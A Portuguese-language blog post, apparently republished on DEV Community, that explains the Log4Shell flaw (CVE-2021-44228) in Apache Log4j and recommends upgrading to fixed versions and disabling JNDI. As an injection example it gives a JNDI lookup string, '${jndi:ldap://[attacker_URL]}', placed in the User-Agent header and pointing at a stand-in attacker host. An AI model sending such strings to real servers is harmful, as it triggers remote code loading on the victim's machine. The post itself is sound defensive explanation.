DEV Community

Gabriel Galdino
Gabriel Galdino

Posted on

2 3

Tudo que você precisa saber de Log4j e como garantir a segurança de sua aplicação

Uma falha importante de segurança na biblioteca Apache Log4j, escrita em Java, foi revelada em 9 de dezembro de 2021 por um pesquisador da Alibaba Cloud, na China. Isso fez com que especialistas em segurança cibernética disparassem alarmes e grandes empresas fossem em busca de medidas para evitar possíveis ataques explorando essa nova vulnerabilidade CVE-2021-44228¹, também conhecida como “Log4Shell”.

Por estar localizada em uma biblioteca utilizada por milhões de servidores web e por diversas empresas ao redor do mundo, essa vulnerabilidade crítica teve grande repercussão nos últimos dias devido ao seu risco potencial, visto que através dela é possível ter acesso a partes críticas de uma aplicação. Vale destacar que AWS, IBM, Cloudflare, Cisco, iCloud, Minecraft estão entre os muitos serviços que utilizam a biblioteca Log4j.

Além disso, para se ter uma ideia do potencial da vulnerabilidade, ela foi classificada com um nível de gravidade CVSS de 10 de 10. Jen Easterly², diretora do Departamento de Segurança Cibernética e Agência de Segurança de Infraestrutura (CISA) declarou na última semana (12/12) que “essa vulnerabilidade representa um risco grave” para toda a internet. Estima-se que a exploração afete centenas de milhões de dispositivos por ser muito simples de executar.

O que é Log4J
Log4j é uma estrutura de registro rápido e flexível escrita em Java, desenvolvida no início de 1996, sendo distribuída sob a licença do software Apache e podendo ser usada para projetos de pequena a grande escala.

Com mais de 400 mil downloads de seu projeto no GitHub³, o Apache Log4j é uma das bibliotecas de registro Java mais populares. Nesse sentido, essa biblioteca é utilizada para fazer logging nas aplicações, sendo esse um processo que permite guardar registros, envio de informações e processamento de dados, além de registro de erros.

Por meio do logging, é possível analisar o funcionamento da aplicação e monitorar as alterações no processo de desenvolvimento. Portanto, sendo de código aberto e gratuito, a biblioteca alcança basicamente todas as partes da internet.

Como funciona a vulnerabilidade do Log4j
O Apache log4j possui um recurso de estrutura de registro denominado lookups, que permite aos usuários o cadastro de informações acerca de como suas atividades são registradas. Essas lookups são marcadas por variáveis ​​agrupadas pelos seguintes caracteres “$ {….}”.

Assim, variáveis definidas como “$ {variable}” podem ser utilizadas como data, horário ou nome de usuário. Nesse exemplo, a expressão “$ {user.username}” pode ser substituída pelo nome real do usuário usando uma expressão como “Log.info (“$ {user.username} not found”)”.

As bibliotecas de registro normalmente gravam mensagens em um arquivo de log ou em banco de dados. Para realizar a busca dessas informações em uma máquina remota, o Log4j utiliza o Java Naming and Directory Interface (JNDI), o qual permite a pesquisa de itens em locais remotos usando uma variedade de serviços e protocolos, incluindo LDAP, DNS, Java Remote Method Invocation (RMI) e entre outros. Sendo a sintaxe JNDI a seguinte expressão:

${ jndi:protocol://server}. ${}
Enter fullscreen mode Exit fullscreen mode

Portanto, para tirar proveito desse recurso, o invasor precisa apenas encontrar a entrada que o direciona para o log, que geralmente é controlado pelo usuário. Embora isso dependa muito do tipo de aplicação, um método comum de injection é por meio de cabeçalhos HTTP que são regularmente registrados como User-Agent ou Referrer.

Em geral, caso a vulnerabilidade aconteça quando o cabeçalho User Agent é processado pela biblioteca, a falha do Log4j permite a execução de códigos não autenticados, podendo o invasor modificar a string do User Agent do navegador para o formato $ {jndi: ldap: // [attacker_URL]}.

Com isso, a string é inserida nos logs de acesso do servidor da Web, o aplicativo Log4j analisa esses logs e, depois, alcança a string adicionada. Resultado, o servidor faz um retorno de chamada para a URL presente na string JNDI, sendo essa URL útil ao invasor para manipular comandos codificados e atingir seu objetivo.

Resumindo, a falha no Log4j permite que um invasor introduza um código no processo de registro, acionando o servidor de armazenamento de software para executar o comando desejado. Isso significa que ele pode roubar dados, instalar malware ou obter controle total da aplicação.

Dados mostram o crescimento de tentativas de ataque desse tipo após a publicação dessa vulnerabilidade. Para saber mais sobre os softwares que foram afetados por essa falha, indicamos essa lista disponibilizada no GitHub⁴ com os produtos e serviços impactados.

Como evitar os riscos de ameaça dessa falha
Supostamente o problema parece ter sido resolvido com o lançamento da nova versão do Log4j 2. Tendo isso em mente, recomendamos a atualização imediata para a sua nova versão. Você deve atualizar para 2.17 para mitigar CVE-2021-45105 se usar Java 8, atualizar para 2.16 para mitigar CVE-2021-44228 se usar Java 8 (ou posterior). Recomendamos também, se possível, não habilitar JNDI nas versões 2.16 ou 2.17.

Entretanto, divulgada pela própria Apache Software Foundation⁵, a correção dessa vulnerabilidade não será aplicada de forma automática em todas as aplicações. Como resultado, esse problema ainda perdurará por bastante tempo e terá um impacto significativo nos próximos meses.

Muitas empresas e instituições não usam Log4j diretamente em seu próprio código-fonte, mas podem usar produtos de terceiros que utilizam essa biblioteca em seu código.

Texto publicado no Blog Conviso: https://blog.convisoappsec.com/log4j-e-seguranca-de-aplicacoes-o-que-voce-precisa-saber/

Postmark Image

Speedy emails, satisfied customers

Are delayed transactional emails costing you user satisfaction? Postmark delivers your emails almost instantly, keeping your customers happy and connected.

Sign up

Top comments (0)

A Workflow Copilot. Tailored to You.

Pieces.app image

Our desktop app, with its intelligent copilot, streamlines coding by generating snippets, extracting code from screenshots, and accelerating problem-solving.

Read the docs

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay